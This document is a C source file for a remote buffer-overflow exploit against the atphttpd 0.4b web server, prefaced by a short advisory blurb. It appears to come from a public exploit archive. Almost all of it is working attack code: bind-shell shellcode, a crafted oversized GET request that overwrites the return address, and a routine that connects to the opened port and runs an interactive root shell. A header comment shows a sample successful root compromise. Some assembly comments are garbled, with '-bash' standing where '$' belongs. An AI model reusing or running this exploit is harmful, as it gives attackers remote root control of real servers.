// source: https://www.securityfocus.com/bid/8709/info
Athttpd is said to be prone to a remote buffer overrun that could allow an attacker to execute arbitrary code. The problem occurs due to insufficient bounds checking when handling GET requests. As a result, an attacker may be capable of overrunning the bounds of an internal memory buffer and effectively control the flow of execution.
/******************************* 0-day ;]****************************************\
**********************************************************************************
** Remote atphttpd <= 0.4b linux exploit by r-code d_fence@gmx.net **
** **
** The exploit was successfuly tested against Debian 3.0 (Woody) **
** and Red Hat 8.0 (Psyche) (both) with atphttpd 0.4b (latest) **
** installed from source.. **
** **
** The exploit gains the privilages of the user who runs atphttpd **
** which is usually root.. the offsets may vary even for the same **
** distros.. (e.g. on two different woody`s with the same athttpd **
** installed on I got two different offsets working 1300 and 2400), so you **
** you might have to play with them... **
** **
** example: **
** **
** bash~$ ./athttpd localhost 2400 **
** **
**(<->) Atphttpd <= 0.4b remote exploit by r-code d_fence@gmx.net **
**(<->) Greetz to: czarny,|stachu|, Nitro, Zami, Razor, Jedlik, Cypher **
** **
** <==> OFFSET: 0x8fc **
** <==> RET_ADDR: 0xbffff6fe **
** <==> Connecting to 'localhost' on port '80'.. **
** <==> Sending packets.. OO
** **
** ### Exploit failed ... just kidding ;] **
** ### Exploit successful - enjoy your shell **
** **
** uid=0(root) gid=0(root) groups=0(root) **
** 23:25:51 up 3:21, 1 user, load average: 0.44, 0.41, 0.42 **
** USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT **
** root tty1 - 20:05 3:19m 2.32s 2.22s -bash **
** Linux coredump 2.4.20 #1 czw sie 7 22:04:49 UTC 2003 i686 unknown **
** /atphttpd-0.4b **
**readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a# **
**********************************************************************************
**********************************************************************************/
#include <stdio.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <netdb.h>
#include <unistd.h>
#include <sys/socket.h>
#include <errno.h>
/* Bind shellcode (port 65535) by Ramon de Carvalho Valle */
char shellcode[]= /* 72 bytes */
"\x31\xdb" /* xorl %ebx,%ebx */
"\xf7\xe3" /* mull %ebx */
"\x53" /* pushl %ebx */
"\x43" /* incl %ebx */
"\x53" /* pushl %ebx */
"\x6a\x02" /* pushl -bashx02 */
"\x89\xe1" /* movl %esp,%ecx */
"\xb0\x66" /* movb -bashx66,%al */
"\xcd\x80" /* int -bashx80 */
"\xff\x49\x02" /* decl 0x02(%ecx) */
"\x6a\x10" /* pushl -bashx10 */
"\x51" /* pushl %ecx */
"\x50" /* pushl %eax */
"\x89\xe1" /* movl %esp,%ecx */
"\x43" /* incl %ebx */
"\xb0\x66" /* movb -bashx66,%al */
"\xcd\x80" /* int -bashx80 */
"\x89\x41\x04" /* movl %eax,0x04(%ecx) */
"\xb3\x04" /* movb -bashx04,%bl */
"\xb0\x66" /* movb -bashx66,%al */
"\xcd\x80" /* int -bashx80 */
"\x43" /* incl %ebx */
"\xb0\x66" /* movb -bashx66,%al */
"\xcd\x80" /* int -bashx80 */
"\x59" /* popl %ecx */
"\x93" /* xchgl %eax,%ebx */
"\xb0\x3f" /* movb -bashx3f,%al */
"\xcd\x80" /* int -bashx80 */
"\x49" /* decl %ecx */
"\x79\xf9" /* jns <bindsocketshellcode+45> */
"\x68\x2f\x2f\x73\x68" /* pushl -bashx68732f2f */
"\x68\x2f\x62\x69\x6e" /* pushl -bashx6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\xb0\x0b" /* movb -bashx0b,%al */
"\xcd\x80" /* int -bashx80 */;
#define LEN 820
#define DEFAULT_OFFSET 2400 /* Offsets might be betwen 1000-3000 , you can try in 100 steps*/
#define PORT 80 /* Default port */
#define ALIGN 1
int connect_to_host(char *hs,int port)
{
int sock,x;
struct sockaddr_in addr;
struct hostent *host;
if(!(host = gethostbyname(hs))) {
perror("gethostbyname(): while resolving host");
exit(1);
}
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
bcopy(host->h_addr,&addr.sin_addr,host->h_length);
if((sock = socket(AF_INET, SOCK_STREAM, 0))<0) {
perror("socket() error");
return(-1);
}
if((x = connect(sock, (struct sockaddr *)&addr, sizeof(addr)))<0) {
perror("connect() error");
return(-1);
}
return sock;
}
void shell(int sd)
{
int check;
char cmd[]="id; w; uname -a; pwd;export TERM=vt100; exec /bin/bash -i\n";
char buf[2048];
fd_set fd;
bzero(buf,2048);
send(sd,cmd,strlen(cmd),0);
while(1) {
fflush(stdout);
FD_ZERO(&fd);
FD_SET(sd,&fd);
FD_SET(STDIN_FILENO,&fd);
select(sd+1,&fd,NULL,NULL,NULL);
if(FD_ISSET(sd,&fd)) {
if((check=read(sd,buf,2048))<=0)
exit(1);
buf[check]=0;
printf("%s",buf);
}
if(FD_ISSET(STDIN_FILENO,&fd)) {
if((check=read(STDIN_FILENO,buf,2048))>0) {
buf[check]=0;
write(sd,buf,check);
}
}
}
return;
}
int main(int argc,char **argv) {
int i,sd;
char http_req[LEN];
unsigned long int ret=0,offset=DEFAULT_OFFSET;
printf("(<->) Atphttpd <= 0.4b remote exploit by r-code d_fence@gmx.net\n");
printf("(<->) Greetz to: czarny,|stachu|, Nitro, Zami, Razor, Jedlik, Cypher\n\n");
if(argc<2 || argc>3){
printf("[-] Usage: %s [host] <offset> #OFFset\n",argv[0]);
return -1;
}
if(argc>2)
offset=atoi(argv[2]);
ret=0xbffffffa - offset;
printf("<==> OFFSET: 0x%x\n",offset);
printf("<==> RET_ADDR: 0x%x\n",ret);
/* See comment few lines below ;] */
http_req[0x00]='G';
http_req[0x01]='E';
http_req[0x02]='T';
http_req[0x03]=' ';
http_req[0x04]='/';
for(i=0x05;i<LEN;) {
http_req[ALIGN + i++] = (ret & 0x000000ff);
http_req[ALIGN + i++] = (ret & 0x0000ff00) >> 8;
http_req[ALIGN + i++] = (ret & 0x00ff0000) >> 16;
http_req[ALIGN + i++] = (ret & 0xff000000) >> 24;
}
for(i=0x05;i<(LEN/2);i++)
http_req[i]=0x41; /* Using jump-next instruction instead of nops for a better look ;] */
for(i=0;i<strlen(shellcode);i++)
http_req[(LEN/2)-(strlen(shellcode)/2)+i]=shellcode[i];
http_req[LEN-0x0c]=' ';
http_req[LEN-0x0b]='H';
http_req[LEN-0x0a]='T';
http_req[LEN-0x09]='T';
http_req[LEN-0x08]='P';
http_req[LEN-0x07]='/';
http_req[LEN-0x06]='1';
http_req[LEN-0x05]='.';
http_req[LEN-0x04]='1';
http_req[LEN-0x03]=0x0d;
http_req[LEN-0x02]=0x0a;
http_req[LEN-0x01]=0x00;
/* Yeah.. I know I just could strcpy/cat it ;].. but so it looks soooooo l33t ;] aint`t it ? ;) */
printf("<==> Connecting to '%s' on port '%d'..\n",argv[1],PORT);
if((sd=connect_to_host(argv[1],PORT))<0) {
printf("<==> Couldn`t connect to host.. :-/\n");
exit(1);
}
printf("<==> Sending packets..\n");
if(send(sd,http_req,LEN,0)<0) {
perror("<==> send(): while sending evil http request");
return -1;
}
close(sd);
if((sd=connect_to_host(argv[1],65535))<0) {
printf("<==> Exploit failed..! #Probably due to a bad offset\n");
return -1;
}
printf("\n### Exploit failed ");
fflush(stdout);
sleep(1);
printf("... just kidding ;]\n");
sleep(1);
printf("### Exploit successful - enjoy your shell\n\n");
shell(sd);
return 1;
}
